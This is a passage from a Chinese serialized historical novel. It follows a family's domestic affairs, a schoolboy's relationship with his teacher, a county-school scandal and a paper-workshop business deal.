縣学的学子,与外来的跑商爭花娘,不知怎的,大打出手,不止惊动了巡街的步快,还引来了巡检司的人。 “嘿嘿!秀才遇上兵,有理说不清,更何况,縣学那群学子可没理呢!这朝教巡检司的军爷拿住,可不得脱层皮?” “啧啧!还是这群读书人会玩儿,库(酒楼)里点花牌还不够[1],居然往那暗门子里寻。欢作乐。唉,你说说,能教那群圆领袍的如此追捧,那花娘该有多水灵?” “水不水灵的也与咱们这穿短褐的没干系,花枞坊那头,都是贵人去的地儿,哪里是咱们能去的?” …… 但凡奇闻轶事,只要与桃色沾了边,那便是最最引人注目的。 仿佛放在嘴里嚼一嚼,就能沾一沾那些个香。艳。之事儿。 这股子留言当真是压也压不住,县学的山长自是怒不可揭。 官妓便罢了,还可说一句才子风。流,可这暗。娼,那便怎么也说不过去了。 涉事学子虽没被革去功名,可被捉去县学,在明倫堂受罚,每人以藤条鞭十下。 受鞭事小,可在明倫堂受罚,又教县学的学子都来观刑,那便是实实在在地受辱了。里头有位廪膳生,更是直接教山长停了膏火银。 这一出过后,县学风气一肃,外头的非议和留言,也渐渐被小报上的新鲜事儿所覆盖。 到底是没教县学的名声受损。 而周浦,也悄无声息的消失了,好似县里从未出过这号人一样。 可林有文心里却不大痛快,那日真姐儿请他进城,他正好撞上了这桩热闹。 “您瞧,那人,似乎与廖夫子有旧,还借着这层关系,与平安结识。”林真指着周浦,很是直接,“您莫见怪,平安年幼,他身边出现的‘友人’我自是要多问一问的。可不想,这一问,却问到了廖夫子头上来。” 林有文瞧着那群衣衫不整与人爭执得面红耳赤,毫无君子之仪的学子,心里怒火翻腾。 平安是有大前途的孩子,是他们林氏一族的希望;族学更是林氏之根,哪里能教不怀好意之人继续留在族学,坏了族中风气? 是以,等廖夫子的兄长嫂子寻来时,他不仅没挽留廖夫子,还三言两语教他下不来台。 “唉!也是我考虑不周,廖兄双亲年迈,早早便该得享天伦之乐。我若是强留廖兄,将孝道置于何处?岂不是教廖兄名声有损?天地亲君师,林某是万万不敢的。” 兄嫂来寻他尽孝,林氏这头又不留人,廖夫子着实想不到还有甚理由留下。 便只能跟着兄长归家。 林有文还蔫坏,带着林氏族学的学生十里相送,排场给足了,气氛弄得多煽。情。 可偏偏是一毛不拔,只结算了廖夫子应得的束脩,其余的程仪物资,他是一点儿没送。 甚香炭冰敬土特产,影儿都没瞧见。 奈何廖夫子这些年收入不錯,颇有家资,行李收拾了不少,这浩浩荡荡一出,人人都以为林氏厚道。 后头林氏为族学聘塾师时,倒是顺利不少。 自然,这都是后话了,此时的林真,解决了外头的事儿,家里的事儿她也没放过。 送鹦鹉那日,慢慢的表现她怎么想怎么不对劲儿。 留心观察了两日,又唤了春和来问,果然教她问了出来。 邹娘子,不妥。 “她待平安没得说,上心得很。可她待慢慢,便不是这样。虽没胆子轻慢主家小娘子,可她居然敢教慢慢事事以平安为先!”林真面色铁青,“她究竟是哪里来的胆子!” 林真不止气邹娘子,更气自个儿。 家里不太平,她的注意力多放在平安身上,这才忽视了慢慢。 是她亏欠了女儿。 贺景同样不好受,瞧着林真如此自责,心里更是难安。 “是我的错,你平日多忙碌?好在发现得及时,咱们往后多用心,好生开解慢慢。至于邹娘子,打发了便是。” 林真只觉头疼,她撑着头叹气。 “教她回枣儿村去罢。将大壯調来守文作铺子,大壯办事历来尽心,没出过差错,反而有功。” 最重要的是,大壯造紙的手艺学得不错,她干不出来物理手段防止泄密,自然不愿此时放了他出去;且家里人都瞧着,若是草草打发了人出去,难免会引得人人自危。 贺景一思量,自是晓得林真的顾虑,便也同意了。 打发邹娘子回村,将大壮调离紙坊,已是惩罚。 畢老接了女儿和外孙女儿来,此番亲人团聚是喜事儿,可畢老的女儿和外孙女被苛待多年,毕老自是要补偿女儿。 如此,毕老肩上担子便重了许多,且他正是对林真死心塌地的时候,对紙坊上心得不得了。 纹帘纸才出来多久,毕老居然又将砑花笺弄了出来,巴巴儿地等着林真安排上市。 纸坊,已超越堰塘,成了林家最核心的产业。 此时将大壮调离纸坊,自然是惩。 贺景拍了拍林真,宽慰道:“此事我去说罢?整好借着此事敲打一下底下的人。” 林真摇摇头:“咱们一道去。” 邹娘子被送回枣儿村的时候,整个人都没回过神来。 待瞧见自家儿子铁青着脸问她究竟犯了何事时,她还不觉着自个儿有错。 “小郎君读书刻苦,我拦着昭姐儿怎的了?我还不是为了平安好?为了主家好?我……” “你是甚么身份?又是哪个牌面上的人?居然敢伸手管起主家的郎君女娘来?您知不知道自个儿在说什么?” 大壮闭了眼,这下子是彻底死心了。 他明白,自个儿永远,永远,回不了纸坊了。 “我怎的了?我……”邹娘子尤不服气。 “咱们还能好端端站在这儿,便已经是主家开恩了!你连个户籍都没有!没有主家,出不了县城一步!您还不晓得我们是什么身份么?若是遇上心硬些的主家,教我口不能言手不能动,再将咱们打发回牙人那处……” 大壮惨笑。 “您是不是舒坦日子过久了,想不起来被主家遣送回去的人,会有甚下场了?” 两人争吵的声儿大了些,大壮的娘子怀中抱着小儿,面色不安。 “孩儿他爹,这是怎的了?” 大壮抹了一把脸,打起精神来:“没甚?可是吵着阿福了?” 他不能消沉,也不能放弃,他还有妻儿,他得教主家瞧见他的忠心,好为儿子挣个前程出来—— 作者有话说:1 北宋的官妓制度,大家应该不陌生[无奈] 此处,化用: 周密《武林旧事》每库(酒楼)设官妓数十人,……饮客登楼,则以名牌点唤侑樽,谓之“点花牌”。 第123章 “那周姓学子的来历, 墨竹可細細说与你听了?”徐夫子歪坐在一把宽大的松年椅上。 自从平安给徐夫子带了小半个月的饭食后,他现今在平安面前,是愈发没甚師长的模样了。 “是, 学生已曉得。”平安也有椅子坐,可身姿挺拔似青竹,瞧着可是端正許多。 周浦此人,也是读书人, 且还是个有正经功名的秀才。 可惜, 举业这条路, 与诗书为伴,注定孤独,一路上还有太多的歧途与诱惑。 他没能抗住,从诗书走向了酒色权势。 围在了那些个家世了得的才子身边, 斟茶倒酒,打趣逗乐, 还给他们办些不和身份的阴私事儿。 “少爷们手里漏点东西出来, 就够我受用的。既如此, 我何必再去日日苦读?我天资愚钝,得中秀才便是走运, 中举?我可不敢想, 再说了, 便是撞了天大的运气得中举人, 无人举荐,我又能去哪里混个一官半职?早些认清现实, 便早些享受,这有何不可?” 平安沉默,周浦瞧着他嗤笑一声。 “怎的?林小少爷可是覺着不耻?是, 你自是清高!林家瞧着不起眼,可却颇有家资,你又走了好运,拜入举人门下。自然是不曉得我这等孤立无援庸庸碌碌之辈的苦楚。我是对不起你,可谁叫林小少爷惹了人的眼儿,招了人的忮忌?我只是听命行事罢了。” 平安搖搖头:“你只能听命行事,我不覺着你对不起我。” 他想走了,想家去吃点心、与妹妹玩儿蹴鞠、与娘亲爹爹说话。还有,今儿出门时,阿奶说给蒸酥酪,阿爷给买冷淘。 平安想回家,便毫不犹豫的转身:“我只觉着,你对不起从前苦读的自个儿。” …… “等等!”周浦回过神来的时候,瞧见平安已然走远,不由大喊。 可平安已经走了,便不再回头。 周浦是徐夫子托人带出来的,巡检司的兵丁也是徐夫子的手笔。 林家且够不到巡检司那头呢。 平安头一回询问墨竹为溪山雅集时,自是曉得墨竹会如实告知徐夫子。 他不介意,甚至将自个儿的懷疑也盡数告知老師,不止如此,他还带了爹娘写给老師的信件。 信里具体写了些甚平安自是不知,只觉着師傅瞧了信件之后很是高興。 “好!好!好!麟子凤雏,必出德门;芝兰玉树,必有琼枝照影!”徐夫子大笑。 他怎能不高興呢? 原以为自个儿的关门弟子家世单薄,他自是忧心弟子往后仕途艰难。 可瞧了林家的信,晓得了林家的计谋,更窥见了其父母的大智慧,他便放心了。 如此明事理又颇有谋算的双亲,便能抵金山银山。 徐夫子高兴得很,在凉亭里开了好酒唤了好菜来,自斟自饮,自得自乐。 “玉不琢不成器,送上门的磨刀石,确实能教平安见一见人心。” 随着縣学山长的藤条落下,这事儿便暂且告一段落。 徐夫子請巡检的手信在明,众人便都以为此事是徐夫子出手。 至于隐在暗处的林家,自是无人在意。 涉事之人即便是打听了緣由,晓得各中实情,可自个儿着实理亏。 几个快要及冠的秀才,攒了局去对付一束发小儿,不止没能成功,还引得人师长出手整治。 这若是还要宣揚出去,可真真是笑话了。 徐夫子不在意那些人家,倒是更忧心縣学那头。 此事,毕竟是教縣学蒙羞。 他离开縣学时本就张揚,早早便得了一狂生的名儿,他自个儿倒是不怕,债多了不愁麽。 可平安呢?平安明年必是能得中秀才,那时,平安可是要往县学去读书的。 学子至少要在县学待上一年,才能通过考試升入州学或府学。 嘶…… 县学那群夫子,很有些小心眼儿的,平安是自个儿的学生,若是入学后,凭白受了冷眼可怎生是好? 徐夫子扣了扣脑壳,头疼! 这日下课,徐夫子便将平安唤来,他也不坐松年椅了,面色很是严肃。 “平安,为师思来想去,没甚好法子教你避开那起子心窄面黑之人。这样,咱们师徒再加把劲儿,你争取在院試也考进前十去。院试前十,是能直接参加州学或府学选拔的。到时候,不论是往明州城还是往慶安府去,都好。 依为师看,还是直接往慶安府去来得好,庆安府比明州城繁华,庆安府学自然也比明州州学好。虽距离远些,可能走水路,来回不过三五日,挺好。” 饶是平安性子沉稳,也被徐夫子惊得目瞪口呆。 院试前十?直接入府学?老师对他竟报有如此厚望麽? 瞧见平安难得稳不住表情的模样,徐夫子拍拍脑门,一笑,他摸。摸平安的小方巾。 “罢了,罢了,你只当时老师一时失言。咱们保持平常心即可,你小小年纪便如此刻苦上进,已是少有,无论如何,我必不会教你受委屈!” 大不了,他先赔礼好了。 “学生不觉得委屈。”平安一笑,眉眼弯弯,“我得师长惠泽,哪里会委屈呢?” “好孩子,家去歇着罢。” 平安忽而想起一事来,他已是思量許久,老师待他关懷备至,他也当坦诚,便是有些失言幼稚,在老师面前,也不算丢脸。 “老师,学生有一事不明,望您解惑。” “何事?” “学生先前为族中一位兄长抄写书册,他如获至宝,还专程来谢我。言语之间,甚是诚挚,直言那两本书,解了他多年困惑。” 平安抄书,自是先禀了徐夫子,夫子同意后,他才动手。 藏书是徐夫子的,上头的注解也是徐夫子读书所得,没有他的同意,任何人都不能私自抄写,更别说传出去了。 此时听平安提起此事,徐夫子自是有映像,便点点头,示意平安继续。 “可族兄明明在县学读书,可为何尋不到师长解惑呢?传道受业解惑,县学明明有山长教谕,为何读书的学子却无处解惑?”平安皱着眉,很是不解。 “便是不能如老师待学生这般,有问必定答,可难道不能指点一二嘛?” “哼!县学么,夫子可傲气得很,没拜入自个儿门下,怎会多花心思去教导学生呢?说是传道受业,可哪个不是藏着私心?”徐夫子摇摇头,显然对县学的风气很是不滿。 “再说了,三十个学子!可县学只有山长一人、教谕一人,训导两人,他们又自恃身份,学生若是不‘俯身倾耳以請’,毕恭毕敬,哪里能得其指点迷津?” 平安沉默良久,对徐夫子深深一礼,道:“多谢老师。” 他何其有幸,能遇见老师。 徐夫子一笑,这下是真要赶平安走了。 “快些回去,可别教家里人忧心。” 待平安走后,徐夫子在屋子里转圈儿,将平安的那句‘县学读书,竟无处解惑’咂摸许久后。 终是一拍手:“好!那便从这处下手罢!” 说罢,他也不唤书童进来,自个儿铺纸研磨,提笔便写。 而林家这头,经了邹娘子和大壮这一出调动,家里其余人便愈发用心,再是不敢心生大意。 主家是仁善,可犯了错,照样会下手惩治。 他们这些人,本就身若浮萍,若是不依附着主家,此时还不晓得在哪里受嗟磨呢! 如此,怎敢不盡心? 麻烦事尽消,内外皆安,家里自是欢喜。 秋来天气凉爽,一家子便尋了平安休沐这日,往西山去赏红枫。 尽兴而归,家来又唤了香滿楼的席面儿,叫上燕儿一家三口,关起门来,好生热闹了一番。 而林真,自是将大半精力,都投入一件事儿去:为慢慢寻学塾! 多日奔波,又托了许多人,终是教她寻得了一处合心意的学塾。 林真照样先自个儿去学塾里头相看。 她去的那一日,整好撞见塾师带着小娘子们制糖霜饼。 炒香的松子仁、核桃仁放入小碾子中碾碎,又将冰糖磨成细粉,再将糖粉与碾碎的果仁儿混在一处,放在模具里定型。 整个过程,连火都不用生,小碾子小杵子和八。九岁的小娘子,瞧着不似在上课,倒像是在玩闹。 “冰糖也唤作糖霜,能蒸酥酪、熬莲子汤,要想有甜味儿,可少不了它。你们说说,这东西好不好呀?” “好!”底下的小娘子们一同应声。 “那谁能告诉老师,外头的糖霜,作价几何?” …… 林真只站了一会儿,这一问一答,已是教她放心,又瞧见塾师和学生俱是满脸笑意。 当即便决定,要将慢慢送到这头来! 可惜,她想来,人还不一定收。 “林娘子,师徒之间也讲究一个緣分,而缘分,最是不能强求的。明日,您先将家中小娘子送来,跟着大家一道玩耍半日。届时,再瞧瞧咱们有没有这一场缘份。”顾娘子笑眯眯,语气温柔,声儿也好听,便是拒绝的话,也教人觉着顺耳。 好在慢慢着实是个惹人喜欢的小娘子,只半日功夫,便与学塾内的两位小娘子混熟。 走时还多是不舍,三人你牵着我,我牵着你,围成一个三色的小圈圈。 “你可晓得自个儿家住何处?我家去就给你下帖子,便是今朝不能一道读书,咱们也要一处玩儿的。” “还有我,还有我!我也给你下帖子的!” “好,我一定来的,我先去姚姐姐家,再去周姐姐家!” 于是,三色的圈圈,便抱作一团,成了个三色饼子。 林真瞧得好笑,瞧这样子,不晓得的,还以为这是甚顶顶伤怀的别离之景呢!—— 作者有话说:又晚了[求求你了] 本章随机掉落小红包 祝大家2026万事顺意[红心][橙心][黄心][绿心][青心][蓝心][紫心] 第124章 “好孩子, 明日便来上学罢。辰正上课,可莫要迟到了哦。” 顾娘子及时出言,阻止了这場‘好友别离’的伤感之景。 慢慢脆生生应下来, 她叉着小手行礼:“学生曉得,上学自当勤勉准时。” 慢慢隔日便挎着小书袋,要往顾娘子的学塾去,她很是高兴, 一点儿不似往日里懒怠动弹的模样。 起床不用催, 穿衣裳不用催, 吃饭更不用催,自个儿捧着一只香覃肉馒头啃得欢快。 嗯,足以见得,往日里慢吞吞的模样, 都是教家里人惯出来的! 林真瞧着很是欣慰:送她去学塾,可真是送对了! 慢慢一抹小嘴, 跳下凳子来, 与爹娘道别后, 牵着苗娘子便要走:“阿奶,咱可快些罢, 我可不能迟到了。” “哎呦, 好好好, 阿奶这就走。”苗娘子乐嗬嗬。 家里现今是不差人手的, 可林屠户照样天天接送平安,苗娘子瞧着早就眼热了。今朝慢慢要去学塾, 她自是要揽下这个接送的活计。 俩孩子上学塾,且阿爷阿奶都稀罕得很,当父母的自是乐得轻松, 出门挣钱也更有劲头。 早市忙碌,贺景自是要去巡铺子;这头忙完了,有时是回枣儿村,瞧瞧自家的堰塘和禽类牲口,有时又要去给办宴席的人家和酒楼安排送貨,杂貨铺子和鲜鱼菜行的生意自是要杂乱些,他也是轻易不得闲。 林真现今主管文作铺子,手头上的事儿虽说单纯些,可也是不得闲。譬如今日,她早早出门,便是要与人商談分销纹帘紙的事儿。 纹帘紙粗时瞧着好似不起眼,可越是品,反倒越是觉其清雅,最重要的是,價钱比其余洒金紙甚的,便宜許多。引得許多好风雅但银钱不大凑手的讀书人追捧。 可纹帘紙便是再便宜,它也是独属于文人阶级的轻奢品,能走量且单價还高,机敏些的商人,早早便来探口风了。 这等先人一步嗅觉灵敏的商人,自是难缠。 家里先前不大太平,林真都没敢在那时与人商談定契,此时腾出手来,自觉头脑清晰准备周全,才约人出来谈谈这分销纹帘纸一事。 可不想,她与贺景在家里设想过的种种情形通通没用上。 倆大掌柜,都是客客气气的,商量价钱时,都没多费口舌,便定在了一个双方都能賺到钱的数来。 林真心算了得,稍稍一估,便发觉:这价,还是她多賺一些。 这可是稀奇,商人逐利,不从她这儿撕下一块儿肉来已算是奇观,主动让利,聞所未聞。 林真没急着定契,凡气定神闲抛出要命话:“二位这是怎的了?如此好说话?教人好生奇怪。” 倆大掌柜,一个是慈溪本地人;另一人,是从外縣一路打听到此處的。 此时听了林真这话,本地的那位,打着哈哈先开口:“哎呦,纹帘纸是林掌柜这头制出来的,能分杯羹已是林掌柜厚道。既如此,某自是该让些利出来,我可不是那等贪心不足只一味敛财的人。” 如此良善?把她当做三岁小儿来哄? 若慈溪商人都如此仁善,那先前莫名其妙失了田地的农户算甚? 算他们贪。婪愚昧,为着一点子蝇头小利,便将祖祖辈辈当命根子似的田地都好心转让给商户家的义子? 慈溪因着桑基鱼塘这一重大突破,这些年,这头的田地是愈发金贵了。 自然了,哪里有利可图,哪里就有爭端。 近几年,林真自个儿都听了好些谋夺农户田地的事儿。 春借一斗,秋还三斗的高利贷,已算是尋常法子。 诡寄之法,诱骗农户将自个儿的田地登在他人名下避税,然后侵吞;设局欺诈,或是赌局或是仙人跳,总得逼你将田地賣出来才肯罢休;更直接的,勾结了胥吏讼棍直接诬告,然后反复捏造理由递状子,以漫长的的诉讼直接拖垮农户…… 法子之多,教人防不胜防,也着实令林真大开眼界:只觉人之恶欲,无穷无尽。 林真不语,又去瞧那外縣商人。 那人稍一琢磨,把心一横,决定实话实说,他先前探听林家行事,总觉着此时奉承,不是甚好事。 “纹帘纸在外縣还是个新鲜东西,便是定下此价,我运回去,加价一成,便是大赚;此外,某还想沾沾林家的光,令郎的名气,我这外乡人也是听过的。明年下場,令郎必定帮上有名儿,十三岁的秀才,文气浩浩。以此为賣点,某便是运回去再多的货,都能教客人抢购一空。” 还有一句话他没说:他觉林家不凡,林家子更是不凡,若是能借此交易与林家结个善缘,这便是一本万利的好买卖! 林真一笑,没说话,反而对着那慈溪书商先开口。 “您如此厚道,我倒是不好教您吃亏。不瞒您说,这纹帘纸在慈溪售卖,已见颓势,此时再多一处售卖纹帘纸的地儿,实在是赚不了几个钱。如此,咱们之间怕是做不成这笔买卖了。” 慈溪书商大惊,又说了好些好话,可林真一副油盐不进的模样,他又不敢强买,便只能悻悻离去。 林真这才转头,笑眯眯道:“张书商,咱们再谈谈个中細节,今朝若是能定下契来,再好不过。” 赌对了! 张姓书商这才松了一口气,打起精神来与林真商定契约。 == “我觉着那慈溪书商所图可不止是纹帘纸,便没应下来,只許了那外縣的张书商三成货。如此也好,冬平她们入纸坊不久,若是贸贸然多许些纹帘纸出去,毕老那头,怕是忙不过来。” 晚间家去,林真自然说起今日之事。 冬平是林真从前救下的那女婴,如今十四。 对这样的半大孩子,慈幼院那头不会白白养着他们,是会教他们散去各處做工的。 林真调了大壮去守铺子,纸坊这头自然缺人手,她便将冬平弄来,还又挑了三个半大孩子,一并送入纸坊。 补足了纸坊的人手还不算,林真扎扎实实在纸坊这头呆了大半个月,造纸的流程更熟悉后。她便与毕老试着,将纸坊内的分工更精細化、明确化。 早先的纸坊其实已经有了这样的趋势。 沤料、漂洗这样的活计,多是教枣儿村里的小子们包了;如抄纸、晾晒这样手艺,自是毕老和大壮、范三哥来做。 林真此时,不过是将这些人手重新分配一遍,个人只需负责个人的那一块儿,便是从前的杂工,也按着他们的意愿分了工。 分工精細化的好处自是不用说,少了好些口角纷爭不说,此番还教纸坊的产量又多出两成来。 有此意外之喜,林真才敢将脑子里想了许久的分销纹帘纸之事,提上日程。 此时听了林真只应下外县书商贩卖纹帘纸一事,贺景很是赞同。 “咱家的银钱够使了,是应当谨慎些,实在没必要为了些许蝇头小利,与这些人搅合在一处。咱家现在,不论是家里使唤的人手,还是与外头的人结交,都得多多打量。” “哦?你不怪我放走了送到手边的铜子儿呀?”林真在拆头发,此时便透过铜照子瞧贺景。 贺景走过来,接了林真手里的梳子给她通头发。 “搁在前十年,我怎么着儿也想不到,自个儿能有这样的好日子。女使人力使唤着,长工佃户也用着,家里人都和气,整日乐呵呵的,便是偶有几句拌嘴时,谁都不往心里去,不肖一顿饭的功夫,便也说开了。” “这样的好日子,更当惜福。” 铜照子里映出倆人的身影,贺景细细梳着林真一头乌黑长发。 “这份儿家业,已是尋常人一辈子都攒不下来的,咱家现在,只需守业,便是顶顶好的日子。如此,咱们自当事事缓和,真姐儿处置此事很是妥当,怎还有此犹疑?” 林真叹气:“经了周浦那事,我才曉得讀书人之间若是起了龌。龊,那杀人不见血的法子有得是。着实是教我心惊,胆子便小了。” 此事无解,贺景便只能默默给林真通头发。 许久,才低低道:“反正,我是一直都在的。” 没两日,林真这缩回去的胆子,又教徐夫子的神来一笔,补足了。 徐夫子与县学山长,不忍见学子日夜苦讀却不解其惑,遂广邀名仕大儒在慈溪说文论经。 此雅集虽说是在县学举办,但县里的读书人,都可参加。 只一样,入门求问的学子,至少得是童生功名。 此举一出,直接教县里的学子沸腾了! 县学的学子且寻不到夫子解惑,何况他们这些没能考入县学的普通学子? 一时之间,县学名声大噪,慈溪县的读书人,无不大赞此举。 先前那一场县学学子争花娘的丑闻,给县学蒙上的阴霾与羞。耻,一扫而空。 徐夫子还专门唤了平安来,先问平安对此事的看法,然后自个儿再细细补充。他将其中的利益牵扯细细掰开了、揉碎了说与平安听。 自个儿的小弟子才经了一场风波,算是有些历练,这些个事,便也该教一教他。 平安家来,自然会说与父母听。 林真喜笑颜开:“这可好!人人都晓得这惠泽读书人的主意是徐夫子提的,得了名利的官绅不好撕破脸,得了实惠的学子更不好再欺负你。一字之师尚为师,读书人要脸面顾名声,他们往后自是不好为难你这徐夫子的弟子。” 她摸。摸平安的小方巾:“平安,徐夫子待你,用心良苦,你可晓得?” 第125章 平安自是晓得老師待他关怀备至, 不然,老師平日里对縣学之風颇有微词,如何会在自个儿已经离开縣学多年之后, 又给縣学出这样的主意呢? 且此次雅集,有好些名士大儒,是老師请来的。 他点点头:“老师待我之厚,不止有授业解惑之恩, 更有树德立心之情。孩儿自当砥砺前行, 方能不负青衿之志。” 院试前十麽?他自当一试。 不止平安觉着徐夫子待他恩重如山, 便是旁人,也觉稀奇。 “徐子厚一治易经的狂生,竟为了他那小徒弟,与我等追名逐利的俗辈搅和在一块儿?”縣学教谕捋着胡子, 很有些不可置信。 山长端着茶盏子,却不喝, 只道:“信不信的, 回帖咱都瞧见了, 做不得假。” “唉!先下帖请人,連回贴都得了才来与我等商量。”山长一笑, “还是狂啊!他是料定我等必不会相拒。” “这……”教谕没话说了。 “这次雅集, 定然要办好。不止这一次, 往后一月舉办一次, 若是真能教县学多出几个有真才实学的学子,也是大功一件!” 山长一挥手, 仿佛要扫去心中的不愉。 “我去拜访县尊大人,此教化之功,自当禀明县尊大人。” 如此三方助力下, 县学的第一场雅集很是成功。 此番说文论经,不仅教县学学子解惑,連帶着与诸位名士大儒论经的县学夫子也紧了紧皮,一扫往日惫懒之風。 开顽笑,名士大儒多自傲,这些个多由徐夫子相邀的大儒脾性更大,他们岂是好相与的? 若是自个儿论经不如人,雖说丢脸,可大大方方承認自个儿技不如人也算有风度,文无第一么。 可若是县学学子多是绣花枕头,不堪造就之人,那岂不是在说夫子不止水平不佳还不会教书育人? 县尊大人親临,这要是饭碗不保,可怎生是好? 县学内风气焕然一新;慈溪诸位学子也有了拜访名师的机会。 一时间,慈溪诸人,向学之风更甚从前。 == “平安与你小姑父去罢,别在此处了。”燕儿冲平安挥挥手,又将自家儿子拘过来,“衡哥儿就莫要去了,你陪着慢慢玩儿罢。” 夏衡噘嘴,脚尖磨蹭,显然很不情愿。 燕儿可不惯着他,笑道:“你缠着你哥哥也无用,平安是小童生,也能与你爹爹谈经论道,你去了,又听不懂,杵在那里作甚?” 燕儿毫不客气往自家儿子身上扎刀子。 夏衡睁圆了眼,小嘴微张,很是不可置信,结结巴巴为自个儿辩解:“我,我已熟讀《千字文》了呀。” 他今年不过五岁,凭心而论,五岁的孩子熟讀《千字文》已算是颇有天资又勤奋。 可许是因着夏衡是夏家这一代唯一的孩子,家里的老仆和夏夫人很是宠爱,連夏和远这个当爹的,有时候都会过分宠溺长子。 且夏衡还有些许自傲的资本,一来二去,便被养得有些傲慢。 燕儿发觉后,便想磨一磨儿子的傲气。为这,还曾与夏和远起过争执。 当然,后头自是燕儿获胜,一句:郎君莫不是要教咱家长子混成个不知天高地厚的纨绔?那郎君还是别费心为他开蒙了,我倒是怕他往后惹出更大的祸事来。 便教夏和远红了脸,最后自是给燕儿赔礼:“我幼年孤苦,常想,若是自个儿有了孩子,定然要加倍疼爱他。这厢失了分寸,还望娘子原谅则个。” 燕儿要磨衡哥儿的性子,苗娘子也是知道的,此时瞧见外孙如此可怜,也只能强忍着心疼,偏过头去。 林真便冲着傲娇的小子招手,等衡哥儿依偎在她身邊时,笑眯眯道。 “阿姐雖比你大一岁,可她开蒙晚些,算起来,读书的年头倒是与你一样,可阿姐如今也能熟读《千字文》了哎!还有还有,阿姐可会打算盘了!对了,衡哥儿可会?” 慢慢听见娘親夸自个儿,很是开心,可她不傲气,还捏着小手指道:“我不算厉害的,姚姐姐才厉害,能对对子;还有周姐姐,她都不用打算盘,便能算出买两只胡饼,一只羊脂韭饼要多少个铜子儿呢!” 慢慢瞥见默不作声的衡哥儿,还安慰他:“衡哥儿莫急,你还小,不会打算盘、对对子是寻常的,日后努力上进就好。” 衡哥儿从听见姨母说阿姐也会《千字文》后,便默默直起小身子,不靠着林真了;此时又听阿姐说他只是寻常,便真伤心了。 原来父亲和阿叔都是哄他的!别说平安哥哥了,他连阿姐这样不需科舉的小娘子也比不过。 伤透了心的衡哥儿,便只能与慢慢一道玩耍,他执着地问了好些阿姐读书的事儿。 他决定了,他也要去学塾。 林真瞧着好笑,又问燕儿:“家中人手如今可是不够?若是不够,早些寻牙婆补足。白英义诊归来,有她照看你我倒是不担心,可你得趁着自个儿精神头还好,早些将家中诸事安排妥当。相看奶娘是哪日,我也来瞧瞧?” 燕儿有身孕自是高兴,可明年是大比之年,夏和远必要下场,他终日苦读,难免会疏忽燕儿。 可燕儿家事儿、书坊两手抓,两头都不是甚清省活计,有孕又伤神,家里也没个长辈照看着,林真与苗娘子皆是忧心不已。 偏此时,没有娘家母親幫着女婿管家的事儿,也不好教苗娘子住过来幫衬一二。林真与苗娘子,便只能自个儿跑得勤快些。 燕儿一笑,拉着阿姐的手:“阿姐忘了,春芽还在呢。她能干得很,又事事尽心,我有她帮着,能省心不少。” 林真皱眉:“夏夫人那头,这回可说要送人来?” 燕儿摇摇头,道:“我宁愿使唤外头的人,也不乐意请那大佛来,没得再起嫌隙。” 林真便是一叹,苗娘子面色也不是很好。 许是教夏家只一个独苗这事搞出阴影来了,夏夫人甚都挺好,唯一对催生这事儿,很是执拗。 林真自个儿都晓得要二十才有孕,对燕儿,她自会劝导,又还将初乳那套也灌输了。 可衡哥儿只比慢慢小一岁多。 燕儿与夏和远都顶不住来自夏夫人的催生,婚后不过三个月,便有了衡哥儿。且在燕儿有孕后,夏夫人又指派了身邊的嬤嬤来帮衬。 夏夫人许是好心,可她身边年长的嬤嬤,可没那么好相与。 在林真来瞧燕儿的时候,一口一个娘子年轻不经事儿,有孕之人,不能这样,不能那样…… 林真听得直皱眉,瞧着燕儿面色也不愉,自个儿当了这个恶人,親去拜访夏夫人,才将那嬷嬷请了回去。 此事一出,夏夫人待夏和远这头,便冷淡下来。 幸而燕儿开的书坊不错,且小两口又正是浓情蜜意时,夏和远倒也没与燕儿起隔阂;后头夏和远初次秋闱,燕儿算是救他一命,两人就此才真正交心。 此时听了燕儿这样说,林真便道:“如此,你更得寻一位生孕过的妇人来帮衬一把。春芽自然能干,可她没生产过,又还要帮你盯着衡哥儿,管着家事,难免有精力不济的时候。你莫心急,我同你一起慢慢儿选人就是了。” 经了夏家嬷嬷一事,燕儿不喜年长的嬷嬷。若是旁人这样说,燕儿自是要恼,可阿姐这样劝她,她便点头應下来,还有心情开顽笑。 “阿姐这样说,我可要赖上阿姐了,若是不寻出一位像吴嬷嬷那样合心意的人来,我可是不依的。” 林真得了燕儿的准话,心里一松,笑着摇头:“若不是吴嬷嬷实在精力不济,我还真想将她送过来看顾着你。” 吴嬷嬷在林家,一晃眼,已十年有余,她已是年近五十的人了。 平安和慢慢都是吴嬷嬷瞧着出生的,她还瞧着燕儿嫁人,如今燕儿长子满地跑,又再次有孕。 吴嬷嬷,便慢慢老去了。 她现今干活不算利索,早先也提过要去投奔女儿,可林真没應下。只给她放了长假,又教秋英跟着吴嬷嬷去瞧远嫁的女儿。 “平安和慢慢舍不得您呢!您许是思念女儿外孙,便去小住几天,好生瞧一瞧,可您还要家来呀!我给您养老的呢!” 林真不是很相信,吴嬷嬷的女婿能接受给丈母娘养老送终。 若真是有心的,也不会这么些年过去了,像是忘了吴嬷嬷一样。 后头吴嬷嬷家来,果真不再提起要投奔女儿的话了,只是待林家更是用心。 她虽没与林家認干亲,可瞧着比认干亲的还贴心。 提到吴嬷嬷,苗娘子就发愁,她拍拍燕儿:“像吴嬷嬷那样的贴心人,哪里是那样容易寻来的?她在咱家可有十多年了,你可不许一味逞强,非要寻一个原模原样的来。” “哼!娘亲真是的,我自是晓得没有第二个吴嬷嬷,便是连做梦也不许人梦一梦么?” 几人说笑几句,苗娘子觑着俩孩子都跑出去胡闹了,不放心,又出去盯着俩皮猴子。 “我瞧衡哥儿像是十分惦念爹爹似的,怎的,夏秀才这是连过问儿子功课的时间都没了?” 林真此时才开口,她有些不满,但只能以打趣的方式问出来。 燕儿叹了一口气,摇摇头:“他如今,是恨不得住在书房里头。县学举办雅集的时候,更会直接住到县学那头去,自然不像原先那样,待衡哥儿事事上心。今朝若不是平安来,他也不过是出来打个招呼便又回去读书了。我今日拦着衡哥儿,不是不想教他亲近父亲,可衡哥儿若是此时去,是讨不了好的。还不如现在这样,教我拦着,别被他爹爹训斥才好。” 林真皱眉,竟是魔怔了不成? 此时的平安,也有这个想法。 夏姑父从前温文尔雅一君子,怎今日瞧着,如此急功近利呢? 夏和远是长辈,平安不好多说,便只能婉转着劝他爱惜身子,珍重自身。 夏和远唯有苦笑,从前他仗着家里算是有几分底蕴,藏书颇多,便有些自傲。 可此番县学雅集,他被请来的那些名士大儒问得哑口无言,虽比其余被呵斥责骂的同窗瞧着好些,可他自个儿清楚,若是连这些大儒这一关都活不了,更过不了主考官那一关。 且明年竟是院试与乡试同年举行,平安与他,一前一后都要應考。 